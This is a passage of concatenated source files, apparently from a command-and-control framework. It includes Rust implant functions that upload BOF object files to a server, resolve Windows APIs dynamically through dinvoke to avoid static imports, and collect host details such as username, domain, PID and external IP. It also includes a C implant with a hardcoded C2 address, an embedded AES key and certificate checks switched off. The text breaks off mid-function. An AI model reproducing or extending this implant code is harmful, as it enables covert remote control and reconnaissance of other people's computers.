target.to_string() 314 | }; 315 | 316 | let mut file = tokiofile::create(format!("{}", target)) 317 | .await 318 | .map_err(|e| Box::new(e) as Box)?; 319 | 320 | file.write_all(&bytes) 321 | .await 322 | .map_err(|e| Box::new(e) as Box)?; 323 | 324 | Ok(format!( 325 | "File received and written to {} successfully", 326 | target 327 | )) 328 | } 329 | 330 | pub async fn send_bof(file_path: &str, url: &str, token: &str) -> Result<(), Box> { 331 | //println!("file_path: {}", file_path); 332 | //println!("url: {}", url); 333 | //println!("token: {}", token); 334 | // Open the file 335 | let mut file = File::open(file_path)?; 336 | let url = format!("https://{}/bofload", url); 337 | 338 | // Read the file's content into a vector 339 | let mut buffer = Vec::new(); 340 | file.read_to_end(&mut buffer)?; 341 | 342 | //strip the file_path of the file name and just get the file name, for the header 343 | //since slashes are always problematic, how else can we grab just the filename from the path 344 | use std::path::Path; 345 | let path = Path::new(&file_path); 346 | let filename = match path.file_name() { 347 | Some(name) => match name.to_str() { 348 | Some(str_name) => str_name, 349 | None => { 350 | return Err(Box::new(std::io::Error::new( 351 | std::io::ErrorKind::InvalidData, 352 | "File name is not valid Unicode.", 353 | ))); 354 | } 355 | }, 356 | None => { 357 | return Err(Box::new(std::io::Error::new( 358 | std::io::ErrorKind::InvalidInput, 359 | "Path does not have a file name.", 360 | ))); 361 | } 362 | }; 363 | 364 | //println!("filename: {}", filename); 365 | 366 | // Create a HeaderMap and add the filename header 367 | let mut headers = HeaderMap::new(); 368 | headers.insert("X-Filename", HeaderValue::from_str(filename)?); 369 | headers.insert( 370 | CONTENT_TYPE, 371 | HeaderValue::from_static("application/octet-stream"), 372 | ); 373 | headers.insert(USER_AGENT, HeaderValue::from_static("reqwest")); 374 | // Add the X-Token header 375 | headers.insert("X-Token", HeaderValue::from_str(token)?); 376 | 377 | // Send a POST request with the binary data 378 | let client = ClientBuilder::new() 379 | .danger_accept_invalid_certs(true) 380 | .build() 381 | .map_err(|_| { 382 | Box::new(std::io::Error::new( 383 | std::io::ErrorKind::Other, 384 | "Failed to build the client", 385 | )) 386 | })?; 387 | let _res = client 388 | .post(url) 389 | .headers(headers) 390 | .body(buffer) 391 | .send() 392 | .await?; 393 | 394 | // Check the status of the response 395 | /* 396 | if res.status().is_success() { 397 | //println!("File uploaded successfully"); 398 | //this shouldn't be necessary becausse if the file is uploaded successfully, then the server will return a success message 399 | } else { 400 | println!("Failed to upload file: {}", res.status()); 401 | }*/ 402 | 403 | Ok(()) 404 | } 405 | 406 | //function to send binary data to the server 407 | //this is for uploading boff files such as whoami.x64.o 408 | -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/src/func.rs: -------------------------------------------------------------------------------- 1 | extern crate windows_sys as windows; 2 | use dinvoke_rs::data::DWORD; 3 | use windows::Win32::System::SystemInformation::OSVERSIONINFOW; 4 | 5 | use winapi::{ctypes::c_void as winapi_void, shared::{minwindef::{BOOL, FARPROC, HMODULE}, ntdef::{BOOLEAN, HANDLE, STRING, UNICODE_STRING}}}; 6 | 7 | use windows::Win32::Networking::WinInet::{ 8 | INTERNET_FLAG_RELOAD, INTERNET_OPEN_TYPE_DIRECT, INTERNET_SERVICE_HTTP, 9 | }; 10 | 11 | use std::{ffi::{c_void, CString, OsStr, OsString}, mem, os::windows::ffi::{OsStrExt, OsStringExt}, ptr::null_mut}; 12 | //use std::os::windows::ffi::OsStringExt; 13 | 14 | // Define RtlGetVersion function type 15 | type RtlGetVersion = unsafe extern "system" fn(*mut OSVERSIONINFOW) -> i32; 16 | 17 | // This function retrieves a handle to a DLL module. 18 | // The function takes a DLL name as a string and returns a handle to the DLL module. 19 | 20 | fn ldr_get_dll(dll_name: &str, ntdll: usize, kernel32: usize) -> HMODULE { 21 | 22 | let load_library_a = match dinvoke_rs::dinvoke::get_function_address(kernel32, "LoadLibraryA") { 23 | 0 => { 24 | println!("Failed to get LoadLibraryA address"); 25 | return null_mut(); 26 | }, 27 | addr => addr, 28 | }; 29 | 30 | let rtl_init_unicode_string = match dinvoke_rs::dinvoke::get_function_address(ntdll, "RtlInitUnicodeString") { 31 | 0 => { 32 | println!("Failed to get RtlInitUnicodeString address"); 33 | return null_mut(); 34 | }, 35 | addr => addr, 36 | }; 37 | 38 | let ldr_get_dll_handle = match dinvoke_rs::dinvoke::get_function_address(ntdll, "LdrGetDllHandle") { 39 | 0 => { 40 | println!("Failed to get LdrGetDllHandle address"); 41 | return null_mut(); 42 | }, 43 | addr => addr, 44 | }; 45 | 46 | let mut handle: *mut winapi_void = null_mut(); 47 | let mut unicode_string = UNICODE_STRING { 48 | Length: 0, 49 | MaximumLength: 0, 50 | Buffer: null_mut(), 51 | }; 52 | 53 | let dll_name_wide: Vec = OsStr::new(dll_name).encode_wide().chain(Some(0)).collect(); 54 | 55 | unsafe { 56 | // First, try to load the DLL if it's not already loaded 57 | let load_library_a: extern "system" fn(*const i8) -> HMODULE = std::mem::transmute(load_library_a); 58 | let dll_name_cstr = CString::new(dll_name).unwrap(); 59 | let loaded_handle = load_library_a(dll_name_cstr.as_ptr()); 60 | 61 | if loaded_handle.is_null() { 62 | println!("LoadLibraryA failed to load {}", dll_name); 63 | return null_mut(); 64 | } 65 | 66 | // Now proceed with getting a handle using LdrGetDllHandle 67 | let rtl_init_unicode_string: extern "system" fn(*mut UNICODE_STRING, *const u16) = 68 | std::mem::transmute(rtl_init_unicode_string); 69 | rtl_init_unicode_string(&mut unicode_string, dll_name_wide.as_ptr()); 70 | 71 | let ldr_get_dll_handle: extern "system" fn( 72 | *mut winapi_void, 73 | *mut winapi_void, 74 | *mut UNICODE_STRING, 75 | *mut *mut winapi_void 76 | ) -> i32 = std::mem::transmute(ldr_get_dll_handle); 77 | 78 | let status = ldr_get_dll_handle( 79 | null_mut(), 80 | null_mut(), 81 | &mut unicode_string, 82 | &mut handle, 83 | ); 84 | 85 | if status != 0 { 86 | println!("LdrGetDllHandle failed with status: {} for {}", status, dll_name); 87 | return null_mut(); 88 | } 89 | if handle.is_null() { 90 | println!("LdrGetDllHandle returned null handle for {}", dll_name); 91 | return null_mut(); 92 | } 93 | } 94 | 95 | handle as HMODULE 96 | } 97 | 98 | // This function retrieves the address of an exported function from a DLL module. 99 | // The function takes a handle to a DLL module and a function name as a string, and returns a pointer to the function. 100 | fn ldr_get_fn(dll: HMODULE, fn_name: &str) -> FARPROC { 101 | let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll"); 102 | let rtl_init_unicode_string = dinvoke_rs::dinvoke::get_function_address(ntdll, "RtlInitUnicodeString"); 103 | let rtl_unicode_string_to_ansi_string = dinvoke_rs::dinvoke::get_function_address(ntdll, "RtlUnicodeStringToAnsiString"); 104 | let ldr_get_procedure_address = dinvoke_rs::dinvoke::get_function_address(ntdll, "LdrGetProcedureAddress"); 105 | 106 | // Initialize a null pointer to a function. 107 | let mut func: *mut winapi_void = std::ptr::null_mut(); 108 | // Initialize a STRING structure to hold the function name. 109 | let mut ansi_string = STRING { 110 | Length: 0, 111 | MaximumLength: 0, 112 | Buffer: std::ptr::null_mut(), 113 | }; 114 | // Initialize a UNICODE_STRING structure to hold the function name. 115 | let mut unicode_string = UNICODE_STRING { 116 | Length: 0, 117 | MaximumLength: 0, 118 | Buffer: std::ptr::null_mut(), 119 | }; 120 | // Convert the function name to a wide string. 121 | let fn_name_wide: Vec = OsStr::new(fn_name).encode_wide().chain(Some(0)).collect(); 122 | 123 | unsafe { 124 | // Initialize the UNICODE_STRING structure with the function name. 125 | let rtl_init_unicode_string: extern "system" fn(*mut UNICODE_STRING, *const u16) = 126 | std::mem::transmute(rtl_init_unicode_string); 127 | rtl_init_unicode_string(&mut unicode_string, fn_name_wide.as_ptr()); 128 | 129 | // Convert the UNICODE_STRING to an ANSI string. 130 | let rtl_unicode_string_to_ansi_string: extern "system" fn(*mut STRING, *const UNICODE_STRING, BOOLEAN) -> i32 = 131 | std::mem::transmute(rtl_unicode_string_to_ansi_string); 132 | let status = rtl_unicode_string_to_ansi_string(&mut ansi_string, &unicode_string, 1); 133 | 134 | if status != 0 { 135 | return std::ptr::null_mut(); 136 | } 137 | 138 | // Call the LdrGetProcedureAddress function to get the address of the function. 139 | let ldr_get_procedure_address: extern "system" fn( 140 | HMODULE, 141 | *mut STRING, 142 | u32, 143 | *mut *mut winapi_void 144 | ) -> i32 = std::mem::transmute(ldr_get_procedure_address); 145 | 146 | let status = ldr_get_procedure_address( 147 | dll, 148 | &mut ansi_string, 149 | 0, 150 | &mut func, 151 | ); 152 | 153 | // If the function call was not successful or the function pointer is null, return a null pointer. 154 | if status != 0 || func.is_null() { 155 | println!("call failed"); 156 | return std::ptr::null_mut(); 157 | } 158 | } 159 | // Return the pointer to the function. 160 | func as FARPROC 161 | } //ldr_get_fn 162 | 163 | pub fn get_version(ntdll: usize) -> String { 164 | unsafe { 165 | let function_ptr = dinvoke_rs::dinvoke::get_function_address(ntdll, "RtlGetVersion"); 166 | let function_type: RtlGetVersion = std::mem::transmute(function_ptr as usize); 167 | let ret: i32; 168 | 169 | let mut version_info = OSVERSIONINFOW { 170 | dwOSVersionInfoSize: std::mem::size_of::() as u32, 171 | dwMajorVersion: 0, 172 | dwMinorVersion: 0, 173 | dwBuildNumber: 0, 174 | dwPlatformId: 0, 175 | szCSDVersion: [0; 128], 176 | }; 177 | 178 | ret = function_type(&mut version_info); 179 | 180 | match ret { 181 | 0 => { 182 | format!("Windows {}.{}.{}", 183 | version_info.dwMajorVersion, 184 | version_info.dwMinorVersion, 185 | version_info.dwBuildNumber) 186 | }, 187 | status => format!("Error: NTSTATUS == {:X}", status as u32), 188 | } 189 | } 190 | } 191 | 192 | //this function makes a get request to api.ipify.org to get our external ip 193 | //it is not using https. 194 | 195 | pub fn get_external_ip(ntdll: usize, kernel32: usize) -> String { 196 | /* 197 | This function, `get_external_ip`, is used to retrieve the external IP address of the current machine. 198 | It does this by making an HTTP GET request to the "api.ipify.org" server, which returns the public IP address of the 199 | client making the request. 200 | The function starts by defining some constants such as the user agent, server name, endpoint, and HTTP method. 201 | Next, it dynamically loads several functions from the "wininet.dll" library using the `ldr_get_dll` and `ldr_get_fn` functions. 202 | These functions include `InternetOpenA`, `InternetConnectA`, `HttpOpenRequestA`, `HttpSendRequestA`, `InternetReadFile`, and 203 | `InternetCloseHandle`. 204 | The function then transmutes these function pointers into the appropriate function types using `mem::transmute`. 205 | The `InternetOpenA` function is used to initialize an application's use of the WinINet functions. The `InternetConnectA` 206 | function is used to make a connection to the server. The `HttpOpenRequestA` function is used to create an HTTP request handle. 207 | The `HttpSendRequestA` function is used to send the HTTP request. 208 | If the request is successful, the function reads the response using the `InternetReadFile` function. The response is the 209 | public IP address of the client, which is stored in the `ip` string. 210 | Finally, the function closes the handles using the `InternetCloseHandle` function and returns the IP address. 211 | Note: This function uses unsafe Rust due to the direct use of Windows API and dynamic function loading. 212 | */ 213 | let user_agent = CString::new("Mozilla/5.0").unwrap(); 214 | let server_name = CString::new("api.ipify.org").unwrap(); 215 | let endpoint = CString::new("").unwrap(); 216 | let method = CString::new("GET").unwrap(); 217 | 218 | //dynamic load of InternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile, InternetCloseHandle 219 | //using ldr_get_dll and ldr_get_fn 220 | 221 | //let module_name = ldr_get_dll("wininet.dll"); 222 | let module_name = ldr_get_dll("wininet.dll", ntdll, kernel32); //for testing 223 | if module_name.is_null() { 224 | return String::from("Failed to load wininet.dll"); 225 | } 226 | //println!("wininet.dll loaded"); 227 | let h_internet = ldr_get_fn(module_name, "InternetOpenA"); 228 | if h_internet.is_null() { 229 | return String::from("Failed to load InternetOpenA"); 230 | } 231 | //println!("InternetOpenA loaded"); 232 | let h_connect = ldr_get_fn(module_name, "InternetConnectA"); 233 | let h_request = ldr_get_fn(module_name, "HttpOpenRequestA"); 234 | let h_send = ldr_get_fn(module_name, "HttpSendRequestA"); 235 | 236 | let h_internet: unsafe extern "system" fn(*const i8, i32, *const i8, *const i8, u32) -> HANDLE = 237 | unsafe { mem::transmute(h_internet) }; 238 | let h_connect: unsafe extern "system" fn( 239 | HANDLE, 240 | *const i8, 241 | u16, 242 | *const i8, 243 | *const i8, 244 | i32, 245 | u32, 246 | u32, 247 | ) -> HANDLE = unsafe { mem::transmute(h_connect) }; 248 | let h_request: unsafe extern "system" fn( 249 | HANDLE, 250 | *const i8, 251 | *const i8, 252 | *const i8, 253 | *const i8, 254 | *const i8, 255 | u32, 256 | u32, 257 | ) -> HANDLE = unsafe { mem::transmute(h_request) }; 258 | let h_send: unsafe extern "system" fn(HANDLE, *const i8, i32, *mut c_void, u32) -> BOOL = 259 | unsafe { mem::transmute(h_send) }; 260 | 261 | let h_internet = unsafe { 262 | h_internet( 263 | user_agent.as_ptr() as *const i8, 264 | (INTERNET_OPEN_TYPE_DIRECT as i32).try_into().unwrap(), 265 | null_mut(), 266 | null_mut(), 267 | 0, 268 | ) 269 | }; 270 | 271 | let h_connect = unsafe { 272 | h_connect( 273 | h_internet, 274 | server_name.as_ptr() as *const i8, 275 | 80, //443 for https, 80 for http 276 | null_mut(), 277 | null_mut(), 278 | (INTERNET_SERVICE_HTTP as i32).try_into().unwrap(), 279 | 0, 280 | 0, 281 | ) 282 | }; 283 | 284 | let h_request = unsafe { 285 | h_request( 286 | h_connect, 287 | method.as_ptr() as *const i8, 288 | endpoint.as_ptr() as *const i8, 289 | null_mut(), 290 | null_mut(), 291 | null_mut(), 292 | INTERNET_FLAG_RELOAD, 293 | 0, 294 | ) 295 | }; 296 | 297 | let res = unsafe { h_send(h_request, null_mut() as *const i8, 0, null_mut(), 0) }; 298 | 299 | let mut buffer = [0; 1024]; 300 | let mut bytes_read = 0; 301 | let mut ip = String::new(); 302 | 303 | if res == 0 { 304 | //println!("Request failed."); 305 | } else { 306 | //dynamic load of InternetReadFile using ldr_get_dll and ldr_get_fn 307 | let module_name = ldr_get_dll("wininet.dll", ntdll, kernel32); 308 | let h_read = ldr_get_fn(module_name, "InternetReadFile"); 309 | let h_read: unsafe extern "system" fn(HANDLE, *mut c_void, u32, *mut u32) -> BOOL = 310 | unsafe { mem::transmute(h_read) }; 311 | 312 | unsafe { 313 | while h_read( 314 | h_request, 315 | buffer.as_mut_ptr() as *mut c_void, 316 | buffer.len() as u32, 317 | &mut bytes_read, 318 | ) != 0 319 | && bytes_read != 0 320 | { 321 | ip.push_str(&String::from_utf8_lossy(&buffer[..bytes_read as usize])); 322 | } 323 | } 324 | } 325 | 326 | //dynamic load of InternetCloseHandle using ldr_get_dll and ldr_get_fn 327 | //let module_name = ldr_get_dll("wininet.dll"); 328 | let h_close = ldr_get_fn(module_name, "InternetCloseHandle"); 329 | let h_close: unsafe extern "system" fn(HANDLE) -> BOOL = unsafe { mem::transmute(h_close) }; 330 | 331 | unsafe { h_close(h_request) }; 332 | unsafe { h_close(h_connect) }; 333 | unsafe { h_close(h_internet) }; 334 | 335 | ip 336 | } //http version 337 | 338 | use wmi::{COMLibrary, Variant, WMIConnection}; 339 | use std::collections::HashMap; 340 | //after i get this working, i'm going to write a seperate tool, a WMI query runner, 341 | //that can be used for testing WMI queries and getting data. 342 | pub fn get_username() -> String { 343 | //changed my mind about reusing the whoami crate. 344 | //instead we'll use WMI to get the username 345 | 346 | let query = "SELECT UserName FROM Win32_ComputerSystem"; 347 | let com_con = match COMLibrary::new() { 348 | Ok(con) => con, 349 | Err(_) => return "Error initializing COM Library".to_string(), 350 | }; 351 | 352 | let wmi_con = match WMIConnection::new(com_con.into()) { 353 | Ok(con) => con, 354 | Err(_) => return "Error connecting to WMI".to_string(), 355 | }; 356 | 357 | let results: Vec> = match wmi_con.raw_query(query) { 358 | Ok(results) => results, 359 | Err(_) => return "Error executing WMI query".to_string(), 360 | }; 361 | 362 | if let Some(result) = results.first() { 363 | if let Some(Variant::String(username)) = result.get("UserName") { 364 | username.clone() 365 | } else { 366 | "Unknown username".to_string() 367 | } 368 | } else { 369 | "Unknown username".to_string() 370 | } 371 | 372 | } 373 | 374 | pub fn get_pid() -> String { 375 | std::process::id().to_string() 376 | } 377 | 378 | pub fn get_process_name(module_name: usize) -> String { 379 | // Initialize a buffer to hold the process name. 380 | let mut buffer: Vec = vec![0; 1024]; 381 | 382 | // Dynamically load the GetModuleFileNameW function from the kernel32.dll module. 383 | //let module_name = ldr_get_dll("kernel32.dll"); 384 | // If get_function_address returns an Option<*const c_void> 385 | let proc = match dinvoke_rs::dinvoke::get_function_address(module_name, "GetModuleFileNameW") { 386 | 0 => { 387 | println!("Failed to get LoadLibraryA address"); 388 | return "Unknown".to_string(); 389 | }, 390 | addr => addr, 391 | }; 392 | 393 | // Cast the address of the GetModuleFileNameW function to the appropriate function pointer type. 394 | let get_module_filename_w: unsafe extern "system" fn(HMODULE, *mut u16, DWORD) -> DWORD = 395 | unsafe { mem::transmute(proc) }; 396 | 397 | // Call the GetModuleFileNameW function to get the full path of the current process. 398 | unsafe { 399 | let result = get_module_filename_w( 400 | 0 as _, // Get the name of the current process. 401 | buffer.as_mut_ptr(), 402 | buffer.len() as u32, 403 | ); 404 | // If the function call fails, panic. 405 | if result == 0 { 406 | panic!("Failed to get the module file name"); 407 | } 408 | } 409 | 410 | // Convert the buffer from wide characters to a string. 411 | let process_full_path = OsString::from_wide(&buffer) 412 | .into_string() 413 | .unwrap_or_else(|_| String::new()); 414 | 415 | // Extract the process name from the full path by splitting the path on backslashes and taking the last component. 416 | let process_name = process_full_path 417 | .split("\\") 418 | .last() 419 | .unwrap_or(&process_full_path); 420 | 421 | // Return the process name. 422 | process_name.to_string() 423 | 424 | } //get_process_name 425 | 426 | pub fn get_system_domain() -> String { 427 | let query = "SELECT Domain FROM Win32_ComputerSystem"; 428 | let com_con = match COMLibrary::new() { 429 | Ok(con) => con, 430 | Err(_) => return "Error initializing COM Library".to_string(), 431 | }; 432 | 433 | let wmi_con = match WMIConnection::new(com_con.into()) { 434 | Ok(con) => con, 435 | Err(_) => return "Error connecting to WMI".to_string(), 436 | }; 437 | 438 | let results: Vec> = match wmi_con.raw_query(query) { 439 | Ok(results) => results, 440 | Err(_) => return "Error executing WMI query".to_string(), 441 | }; 442 | 443 | if let Some(result) = results.first() { 444 | if let Some(Variant::String(domain)) = result.get("Domain") { 445 | domain.clone() 446 | } else { 447 | "Unknown domain".to_string() 448 | } 449 | } else { 450 | "Unknown domain".to_string() 451 | } 452 | } -------------------------------------------------------------------------------- /imps/experimental_win/base_c/implant.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifndef WINHTTP_FLAG_IGNORE_CERT_CN_INVALID 13 | #define WINHTTP_FLAG_IGNORE_CERT_CN_INVALID 0x1000 14 | #endif 15 | 16 | #ifndef WINHTTP_FLAG_IGNORE_CERT_DATE_INVALID 17 | #define WINHTTP_FLAG_IGNORE_CERT_DATE_INVALID 0x2000 18 | #endif 19 | 20 | #pragma comment(lib, "winhttp.lib") 21 | #pragma comment(lib, "bcrypt.lib") 22 | #pragma comment(lib, "crypt32.lib") 23 | #pragma comment(lib, "psapi.lib") 24 | 25 | // compile with cl /W4 /Zi /Fe implant.exe implant.c /link /libpath:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\um\x64" bcrypt.lib winhttp.lib 26 | 27 | #define SERVER L"192.168.1.19" 28 | #define PORT 443 29 | #define AES_KEY_BASE64 "xalxACRIZkmDkMYu-BB0ec49-Qzj7aByCHaEtgm1jwI" 30 | #define SESSION "adversary" 31 | #define BUFFER_SIZE 4096 32 | 33 | // Helper structs to hold task and system information 34 | typedef struct 35 | { 36 | char session[256]; 37 | char ip[64]; 38 | char username[256]; 39 | char domain[256]; 40 | char os_version[256]; 41 | char imp_pid[16]; 42 | char process_name[256]; 43 | char sleep_time[16]; 44 | } ImpInfo; 45 | 46 | typedef struct 47 | { 48 | char session[256]; 49 | char task_name[256]; 50 | char output[BUFFER_SIZE]; 51 | } OutputData; 52 | 53 | typedef struct 54 | { 55 | char sleep_time[16]; 56 | } SleepTime; 57 | 58 | // Function to Base64 decode the AES key 59 | // Function to Base64 decode with URL-safe conversion and proper padding 60 | BOOL Base64UrlDecode(const char *input, BYTE **output, DWORD *output_len) 61 | { 62 | // Length of the input string 63 | DWORD len = strlen(input); 64 | int padding = (4 - (len % 4)) % 4; // Calculate the required padding 65 | 66 | // Allocate memory to hold the modified input with padding 67 | char *temp = (char *)malloc(len + padding + 1); 68 | if (!temp) 69 | return FALSE; 70 | 71 | // Copy the input into the temp buffer and replace '-' and '_' to make it standard base64 72 | strcpy_s(temp, len + padding + 1, input); 73 | for (DWORD i = 0; i < len; i++) 74 | { 75 | if (temp[i] == '-') 76 | temp[i] = '+'; 77 | else if (temp[i] == '_') 78 | temp[i] = '/'; 79 | } 80 | 81 | // Add padding '=' if necessary 82 | for (int i = 0; i < padding; i++) 83 | { 84 | temp[len + i] = '='; 85 | } 86 | temp[len + padding] = '\0'; 87 | 88 | // First call to CryptStringToBinaryA to get the required output size 89 | if (!CryptStringToBinaryA(temp, 0, CRYPT_STRING_BASE64, NULL, output_len, NULL, NULL)) 90 | { 91 | free(temp); 92 | return FALSE; 93 | } 94 | 95 | // Allocate memory for the output binary data 96 | *output = (BYTE *)malloc(*output_len); 97 | if (!*output) 98 | { 99 | free(temp); 100 | return FALSE; 101 | } 102 | 103 | // Second call to actually decode the base64 string into binary data 104 | if (!CryptStringToBinaryA(temp, 0, CRYPT_STRING_BASE64, *output, output_len, NULL, NULL)) 105 | { 106 | free(temp); 107 | free(*output); 108 | *output = NULL; 109 | return FALSE; 110 | } 111 | 112 | // Free the temporary buffer 113 | free(temp); 114 | return TRUE; 115 | } 116 | 117 | // Function to apply PKCS#7 padding 118 | // Function to apply PKCS#7 padding 119 | void ApplyPadding(BYTE *input, DWORD input_len, DWORD block_size, DWORD *padded_len) 120 | { 121 | DWORD pad_len = block_size - (input_len % block_size); // Calculate padding size 122 | *padded_len = input_len + pad_len; // New padded length 123 | for (DWORD i = input_len; i < *padded_len; i++) 124 | { 125 | input[i] = (BYTE)pad_len; // Add padding bytes 126 | } 127 | } 128 | 129 | // Function to perform AES-256-CBC encryption 130 | BOOL AES256Encrypt(BYTE *key, BYTE *plaintext, DWORD plaintext_len, BYTE *iv, BYTE *ciphertext, DWORD *ciphertext_len) 131 | { 132 | BCRYPT_ALG_HANDLE hAlg = NULL; 133 | BCRYPT_KEY_HANDLE hKey = NULL; 134 | NTSTATUS status = 0; 135 | DWORD block_len = 16; // AES block size 136 | DWORD padded_len = 0; 137 | 138 | // Apply PKCS#7 padding 139 | BYTE padded_plaintext[BUFFER_SIZE] = {0}; // Adjust buffer size as necessary 140 | memcpy(padded_plaintext, plaintext, plaintext_len); 141 | ApplyPadding(padded_plaintext, plaintext_len, block_len, &padded_len); 142 | 143 | // Open an algorithm handle 144 | status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); 145 | if (!BCRYPT_SUCCESS(status)) 146 | { 147 | printf("Error opening algorithm: 0x%x\n", status); 148 | return FALSE; 149 | } 150 | 151 | // Set chaining mode to CBC 152 | status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); 153 | if (!BCRYPT_SUCCESS(status)) 154 | { 155 | BCryptCloseAlgorithmProvider(hAlg, 0); 156 | printf("Error setting chaining mode: 0x%x\n", status); 157 | return FALSE; 158 | } 159 | 160 | // Generate a key handle 161 | status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0); // AES-256 key is 32 bytes 162 | if (!BCRYPT_SUCCESS(status)) 163 | { 164 | BCryptCloseAlgorithmProvider(hAlg, 0); 165 | printf("Error generating symmetric key: 0x%x\n", status); 166 | return FALSE; 167 | } 168 | 169 | DWORD cbResult = 0; 170 | *ciphertext_len = BUFFER_SIZE; // Ensure ciphertext buffer is large enough 171 | status = BCryptEncrypt(hKey, padded_plaintext, padded_len, NULL, iv, block_len, ciphertext, *ciphertext_len, &cbResult, 0); 172 | if (!BCRYPT_SUCCESS(status)) 173 | { 174 | printf("Error encrypting data: 0x%x\n", status); 175 | BCryptDestroyKey(hKey); 176 | BCryptCloseAlgorithmProvider(hAlg, 0); 177 | return FALSE; 178 | } 179 | 180 | *ciphertext_len = cbResult; 181 | 182 | BCryptDestroyKey(hKey); 183 | BCryptCloseAlgorithmProvider(hAlg, 0); 184 | 185 | return TRUE; 186 | } 187 | 188 | // Function to Base64 encode the encrypted data 189 | BOOL Base64UrlEncode(const BYTE *input, DWORD input_length, char *output, DWORD output_size) 190 | { 191 | DWORD encoded_length = 0; 192 | 193 | // Base64 encode the input 194 | if (!CryptBinaryToStringA(input, input_length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &encoded_length)) 195 | { 196 | return FALSE; 197 | } 198 | 199 | if (encoded_length > output_size) 200 | { 201 | return FALSE; 202 | } 203 | 204 | if (!CryptBinaryToStringA(input, input_length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, output, &encoded_length)) 205 | { 206 | return FALSE; 207 | } 208 | 209 | // Replace Base64 characters for URL-safe Base64 210 | for (DWORD i = 0; i < encoded_length; i++) 211 | { 212 | if (output[i] == '+') 213 | { 214 | output[i] = '-'; 215 | } 216 | else if (output[i] == '/') 217 | { 218 | output[i] = '_'; 219 | } 220 | } 221 | 222 | // Remove padding '=' characters (Python's `rstrip('=')`) 223 | while (encoded_length > 0 && output[encoded_length - 1] == '=') 224 | { 225 | output[--encoded_length] = '\0'; 226 | } 227 | 228 | return TRUE; 229 | } 230 | 231 | // Function to get external IP using WinHTTP (api.ipify.org) 232 | BOOL GetExternalIP(char *ip, DWORD ip_size) 233 | { 234 | HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 235 | if (!hSession) 236 | return FALSE; 237 | 238 | HINTERNET hConnect = WinHttpConnect(hSession, L"api.ipify.org", INTERNET_DEFAULT_HTTPS_PORT, 0); 239 | if (!hConnect) 240 | { 241 | WinHttpCloseHandle(hSession); 242 | return FALSE; 243 | } 244 | 245 | HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); 246 | if (!hRequest) 247 | { 248 | WinHttpCloseHandle(hConnect); 249 | WinHttpCloseHandle(hSession); 250 | return FALSE; 251 | } 252 | 253 | if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) || 254 | !WinHttpReceiveResponse(hRequest, NULL)) 255 | { 256 | WinHttpCloseHandle(hRequest); 257 | WinHttpCloseHandle(hConnect); 258 | WinHttpCloseHandle(hSession); 259 | return FALSE; 260 | } 261 | 262 | DWORD dwSize = 0; 263 | WinHttpQueryDataAvailable(hRequest, &dwSize); 264 | if (dwSize > 0) 265 | { 266 | LPSTR pszOutBuffer = (LPSTR)malloc(dwSize + 1); 267 | if (pszOutBuffer) 268 | { 269 | ZeroMemory(pszOutBuffer, dwSize + 1); 270 | DWORD dwDownloaded = 0; 271 | WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded); 272 | strncpy_s(ip, ip_size, pszOutBuffer, _TRUNCATE); 273 | free(pszOutBuffer); 274 | } 275 | } 276 | 277 | WinHttpCloseHandle(hRequest); 278 | WinHttpCloseHandle(hConnect); 279 | WinHttpCloseHandle(hSession); 280 | return TRUE; 281 | } 282 | 283 | // Function to get username in "hostname\\username" format 284 | BOOL GetUsername(char *username, DWORD size) 285 | { 286 | char hostname[256]; 287 | DWORD hostname_len = 256; 288 | DWORD len = size; 289 | 290 | if (!GetUserNameA(username, &len)) 291 | return FALSE; 292 | if (!GetComputerNameA(hostname, &hostname_len)) 293 | return FALSE; 294 | 295 | snprintf(username, size, "%s\\%s", hostname, username); 296 | return TRUE; 297 | } 298 | 299 | // Function to get domain from environment variable 300 | BOOL GetDomain(char *domain, DWORD size) 301 | { 302 | char *userdomain = getenv("USERDOMAIN"); 303 | if (userdomain) 304 | { 305 | strncpy_s(domain, size, userdomain, _TRUNCATE); 306 | } 307 | else 308 | { 309 | strncpy_s(domain, size, "Unknown", _TRUNCATE); 310 | } 311 | return TRUE; 312 | } 313 | 314 | // Function to get OS version 315 | BOOL GetOSVersion(char *os_version, DWORD size) 316 | { 317 | OSVERSIONINFOEXA osvi = {sizeof(OSVERSIONINFOEXA)}; 318 | if (!GetVersionExA((OSVERSIONINFOA *)&osvi)) 319 | return FALSE; 320 | snprintf(os_version, size, "Windows-%ld-%ld.%ld.%ld-SP%d", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber, osvi.dwPlatformId, osvi.wServicePackMajor); 321 | return TRUE; 322 | } 323 | 324 | // Function to get PID 325 | BOOL GetPID(char *pid_str, DWORD size) 326 | { 327 | DWORD pid = GetCurrentProcessId(); 328 | snprintf(pid_str, size, "%lu", pid); 329 | return TRUE; 330 | } 331 | 332 | // Function to get process name 333 | BOOL GetProcessName(char *process_name, DWORD size) 334 | { 335 | HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); 336 | if (hProcess == NULL) 337 | return FALSE; 338 | 339 | HMODULE hMod; 340 | DWORD cbNeeded; 